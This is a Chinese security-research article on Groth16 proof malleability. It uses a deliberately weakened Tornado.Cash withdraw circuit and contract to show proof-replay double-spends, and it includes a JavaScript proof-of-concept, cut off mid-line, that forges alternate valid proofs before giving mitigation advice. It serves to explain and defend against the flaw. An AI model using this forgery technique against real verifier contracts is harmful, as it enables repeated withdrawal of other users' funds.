ROO:深入探究 Tornado.Cash 揭示zkp项目的延展性攻击

在上篇文章里,我们从原理的角度阐述了 Groth16 证明系统本身存在的延展性漏洞,本文中我们将以Tornado.Cash项目为例,魔改其部分电路和代码,介绍延展性攻击流程以及该项目中对应的防范措施,希望其他zkp项目方也引起注意。

其中,Tornado.Cash使用snarkjs库进行开发,同样基于如下开发流程,后续就直接进行介绍,不熟悉该库的请阅读本系列第一篇文章。(Beosin | 深度剖析零知识证明zk-SNARK漏洞:为什么零知识证明系统并非万无一失?)

(图源:https://docs.circom.io/)

User:使用该DApp进行混币器隐私交易,包括存、取款。

Web page:DApp的前端网页,网页上包含一些用户按钮。

Relayer:为防止链上节点记录发起隐私交易的ip地址等信息,该服务器会代替用户重放交易,进一步增强隐私性。

Contract:包含一个代理合约Tornado.Cash Proxy,该代理合约会根据用户存取款的金额选择指定的Tornado池子进行后续的存取款操作。目前已存在4个池子,金额分别为:0.1、1、10、100。

User首先在Tornado.Cash的前端网页上进行对应操作,触发存款或取款交易,接着由Relayer将其交易请求转发到链上的Tornado.Cash Proxy合约,并根据交易金额转发到对应的Pool中,最终进行存款和取款等处理,具体的架构如下:

deposit:当用户进行存款交易时,首先在前端网页上选择存入的代币(BNB、ETH等)和对应的数额,为了更好的确保用户的隐私性,只能存入四种金额数量;

图源:<https://ipfs.io/ipns/tornadocash.eth/>

接着服务器会生成两个31字节的随机数nullifier、secret,将其拼接后进行pedersenHash运算即可得到commitment,将nullifier+secret加上前缀作为note返回给用户,note如下图:

随后发起一笔deposit交易将commitment等数据发送到链上Tornado.Cash Proxy合约中,代理合约根据deposit的金额将数据转发至对应的Pool中,最后Pool合约将commitment作为叶子结点插入到merkle tree,并将计算出的root存储在Pool合约中。

withdraw:当用户进行取款交易时,首先在前端网页上输入deposit时返回的note数据和收款地址;

接着服务器会在链下检索出所有Tornadocash的deposit事件,提取其中的commitment构建链下的Merkle tree,并根据用户给出的note数据(nullifier+secret)生成commitment并生成对应的Merkle Path和对应的root,并作为电路输入得到零知识SNARK proof;最后,再发起一笔withdraw交易到链上的Tornado.Cash Proxy合约中,接着根据参数跳转到对应的Pool合约中验证证明,将钱打入用户指定的接收者地址。

其中,Tornado.Cash 的withdraw核心其实就是在不暴露用户持有的nullifier、secret的情况下,证明某个commitment存在于Merkle tree上,具体的默克尔树结构如下:

针对第一篇文章Groth16 延展性攻击原理,我们知道攻击者使用相同的nullifier、secret其实可以生成多个不同的Proof,那么如果开发者没有考虑到Proof重放造成的双花攻击,就会威胁到项目资金。在对Tornado.Cash进行魔改之前,本文先介绍一下Tornado.Cash最终处理withdraw的Pool中代码:

/**    @dev Withdraw a deposit from the contract. `proof` is a zkSNARK proof data, and input is an array of circuit public inputs    `input` array consists of:      - merkle root of all deposits in the contract      - hash of unique deposit nullifier to prevent double spends      - the recipient of funds      - optional fee that goes to the transaction sender (usually a relay)  */  function withdraw(    bytes calldata _proof,    bytes32 _root,    bytes32 _nullifierHash,    address payable _recipient,    address payable _relayer,    uint256 _fee,    uint256 _refund  ) external payable nonReentrant {    require(_fee <= denomination, "Fee exceeds transfer value");    require(!nullifierHashes[_nullifierHash], "The note has been already spent");    require(isKnownRoot(_root), "Cannot find your merkle root"); // Make sure to use a recent one    require(      verifier.verifyProof(        _proof,        [uint256(_root), uint256(_nullifierHash), uint256(_recipient), uint256(_relayer), _fee, _refund]      ),      "Invalid withdraw proof"    );    nullifierHashes[_nullifierHash] = true;    _processWithdraw(_recipient, _relayer, _fee, _refund);    emit Withdrawal(_recipient, _nullifierHash, _relayer, _fee);  }上图中为了防止攻击者使用同一个Proof进行双花攻击,而又不暴露nullifier、secret,Tornado.Cash在电路中增加了一个公共信号nullifierHash,它是由nullifier进行Pedersen哈希得到,可以作为参数传到链上,Pool合约再使用该变量标识一个正确的Proof是否已经被使用过。但是如果项目方不采用修改电路的方式,而是直接以记录Proof方式来防止双花,毕竟这样做可以减少电路约束,从而节省开销,但是能否达到目的呢?

对于此猜想,本文将删除电路中新增的nullifierHash公共信号,并将合约校验改为Proof校验。由于Tornado.Cash在每次withdraw时都会获取所有的deposit事件组建merkle tree再校验生成的root值是否在最近生成的30个之内,整个过程太过麻烦,因此本文电路也将删除merkleTree电路,仅仅留下withdraw部分的核心电路,具体电路如下:

include "../../../../node_modules/circomlib/circuits/bitify.circom";  include "../../../../node_modules/circomlib/circuits/pedersen.circom";// computes Pedersen(nullifier + secret)template CommitmentHasher() {    signal input nullifier;    signal input secret;    signal output commitment;    // signal output nullifierHash;   // delete    component commitmentHasher = Pedersen(496);    // component nullifierHasher = Pedersen(248);    component nullifierBits = Num2Bits(248);    component secretBits = Num2Bits(248);    nullifierBits.in <== nullifier;    secretBits.in <== secret;    for (var i = 0; i < 248; i++) {        // nullifierHasher.in[i] <== nullifierBits.out[i];  // delete        commitmentHasher.in[i] <== nullifierBits.out[i];        commitmentHasher.in[i + 248] <== secretBits.out[i];    }    commitment <== commitmentHasher.out;    // nullifierHash <== nullifierHasher.out;   // delete}// Verifies that commitment that corresponds to given secret and nullifier is included in the merkle tree of deposits    signal output commitment;    signal input recipient; // not taking part in any computations    signal input relayer;  // not taking part in any computations    signal input fee;      // not taking part in any computations    signal input refund;   // not taking part in any computations    signal input nullifier;    signal input secret;    component hasher = CommitmentHasher();    hasher.nullifier <== nullifier;    hasher.secret <== secret;    commitment <== hasher.commitment;    // Add hidden signals to make sure that tampering with recipient or fee will invalidate the snark proof    // Most likely it is not required, but it's better to stay on the safe side and it only takes 2 constraints    // Squares are used to prevent optimizer from removing those constraints    signal recipientSquare;    signal feeSquare;    signal relayerSquare;    signal refundSquare;    recipientSquare <== recipient * recipient;    feeSquare <== fee * fee;    relayerSquare <== relayer * relayer;    refundSquare <== refund * refund;}component main = Withdraw(20);注意:我们在实验过程中发现,TornadoCash 在 GitHub 中的最新版代码里(https://github.com/tornadocash/tornado-core), withdraw 电路缺乏输出信号,需要人工修正才能正确运行。

根据上述修改后的电路,使用snarkjs库等按照本文开始给出的开发流程逐步进行,生成如下正常Proof,记为proof1:

The proof: {  pi_a: [    12731245758885665844440940942625335911548255472545721927606279036884288780352n,    11029567045033340566548367893304052946457319632960669053932271922876268005970n,    1n  ],  pi_b: [    [      4424670283556465622197187546754094667837383166479615474515182183878046002081n,      8088104569927474555610665242983621221932062943927262293572649061565902268616n    ],    [      9194248463115986940359811988096155965376840166464829609545491502209803154186n,      18373139073981696655136870665800393986130876498128887091087060068369811557306n    ],    [ 1n, 0n ]  ],  pi_c: [    1626407734863381433630916916203225704171957179582436403191883565668143772631n,    10375204902125491773178253544576299821079735144068419595539416984653646546215n,    1n  ],  protocol: 'groth16',  curve: 'bn128'}2.2 实验验证2.2.1 验证证明 — circom 生成的默认合约首先,我们使用circom 生成的默认合约进行验证,该合约由于根本没有记录任何已经使用过的Proof相关信息,攻击者可多次重放proof1造成双花攻击。在下列实验中,可以针对同一电路的同一个input,无限次重放proof,均能通过验证。

下图是使用proof1在默认合约中证明验证通过的实验截图,包含上篇文章中使用的Proof参数A、B、C,以及最终的结果:

下图是我们使用同样的proof1多次调用verifyProof函数进行证明验证的结果,实验发现针对同一input,无论攻击者使用多少次proof1进行验证,都可以通过:

当然在我们在snarkjs原生的js代码库中进行测试,也并未对已经使用过的Proof进行防范,实验结果如下:

针对circom 生成的默认合约中的重放漏洞,本文记录已使用过的正确Proof(proof1)中的一个值,以达到防止使用验证过的proof进行重放攻击的目的,具体如下图所示:

继续使用proof1进行验证,实验发现在使用同样Proof进行二次验证时,交易revert报错:"The note has been already spent",结果如下图所示:

但是此时虽然达到了防止普通proof重放攻击的目的,但是前文介绍过groth16算法存在延展性漏洞问题,这种防范措施仍可以被绕过。于是下图我们构造PoC,按照第一篇文章中的算法针对同一input生成伪造的zk-SNARK证明,实验发现仍然能通过验证。生成伪造证明proof2的PoC代码如下:

import WasmCurve from "/Users/saya/node_modules/ffjavascript/src/wasm_curve.js"import ZqField from "/Users/saya/node_modules/ffjavascript/src/f1field.js"import groth16FullProve from "/Users/saya/node_modules/snarkjs/src/groth16_fullprove.js"import groth16Verify from "/Users/saya/node_modules/snarkjs/src/groth16_verify.js";import * as curves from "/Users/saya/node_modules/snarkjs/src/curves.js";import fs from "fs";import {  utils }   from "ffjavascript";const {unstringifyBigInts} = utils;groth16_exp();async function groth16_exp(){    let inputA = "7";    let inputB = "11";    const SNARK_FIELD_SIZE = BigInt('21888242871839275222246405745257275088548364400416034343698204186575808495617');    // 2. 读取string后转化为int    const proof = await unstringifyBigInts(JSON.parse(fs.readFileSync("proof.json","utf8")));    console.log("The proof:",proof);    // 生成逆元,生成的逆元必须在F1域    const F = new ZqField(SNARK_FIELD_SIZE);    // const F = new F2Field(SNARK_FIELD_SIZE);    const X = F.e("123456")    const invX = F.inv(X)    console.log("x:" ,X )    console.log("invX" ,invX)    console.log("The timesScalar is:",F.mul(X,invX))    // 读取椭圆曲线G1、G2点    const vKey = JSON.parse(fs.readFileSync("verification_key.json","utf8"));    // console.log("The curve is:",vKey);    const curve = await curves.getCurveFromName(vKey.curve);    const G1 = curve.G1;    const G2 = curve.G2;    const A = G1.fromObject(proof.pi_a);    const B = G2.fromObject(proof.pi_b);    const C = G1.fromObject(proof.pi_c);    const new_pi_a = G1.timesScalar(A, X);  //A'=x*A    const new_pi_b = G2.timesScalar(B, invX);  //B'=x^{-1}*B    proof.pi_a = G1.toObject(G1.toAffine(A));    proof.new_pi_a = G1.toObject(G1.toAffine(new_pi_a))    proof.new_pi_b = G2.toObject(G2.toAffine(new_pi_b))    // 将生成的G1、G2点转化为proof    console.log("proof.pi_a:",proof.pi_a);    console.log("proof.new_pi_a:",proof.new_pi_a)    console.log("proof.new_pi_b:",proof.new_pi_b。生成的伪造证明proof2,具体如下图所示:

再次使用该参数调用verifyProof函数进行证明验证时,实验发现同一input的情况下使用proof2验证再次通过了,具体如下所示:

虽然伪造的证明proof2也只能再使用一次,但由于针对同一input的伪造的证明存在几乎无限多个,因此可能造成合约资金被无限次被提取。

本文同样使用circom库的js代码进行测试,实验结果proof1和伪造的proof2都可以通过验证:

经历了那么多次失败,难道没有一种方式可以一劳永逸吗?此处按照Tornado.Cash中通过校验原始input是否已经被使用的做法,本文继续修改合约代码如下:

需要说明的是,为了展示groth16算法延展性攻击的防范简单措施,**本文采取直接记录原始电路input的方式,但是这不符合零知识证明的隐私原则,电路输入应当是保密的。**比如 Tornado.Cash中input都是private,需要重新新增一个public input标识一条Proof。本文由于电路中没有新增标识,所以隐私性相对于Tornado.Cash来说较差,仅作为实验Demo展示结果如下:

可以发现,上图中使用同一input的Proof,只有第一次可以通过验证proof1,随后该proof1和伪造的proof2都不能通过校验。

本文主要通过魔改TornadoCash的电路和使用开发者常用的Circom默认生成的合约验证了重放漏洞的真实性和危害,并进一步验证了使用在合约层面的普通措施可以防护重放漏洞,但无法防止groth16的延展性攻击,对此,我们建议零知识证明的项目在项目开发时,应注意:

与传统DApp使用地址等唯一数据生成节点数据的方式不同,zkp项目通常是使用组合随机数的方式生成Merkle tree节点,需要注意业务逻辑是否允许插入相同数值节点的情况。因为相同的叶子结点数据可能导致部分用户资金被锁死在合约中,或者是同一叶子节点数据存在多个Merkle Proof混淆业务逻辑的情况。

zkp项目方通常使用mapping记录已使用的过的Proof,防范双花攻击。需要注意使用Groth16开发时,由于存在延展性攻击,因此记录需使用节点原始数据,而不能仅仅使用Proof相关数据标识。

复杂电路可能存在电路不确定、欠约束等问题,合约验证时条件不完整,实现逻辑存在漏洞等问题,我们强烈建议项目方在项目上线时,寻求对电路和合约都有一定研究的安全审计公司进行全面审计,尽可能的保证项目安全。

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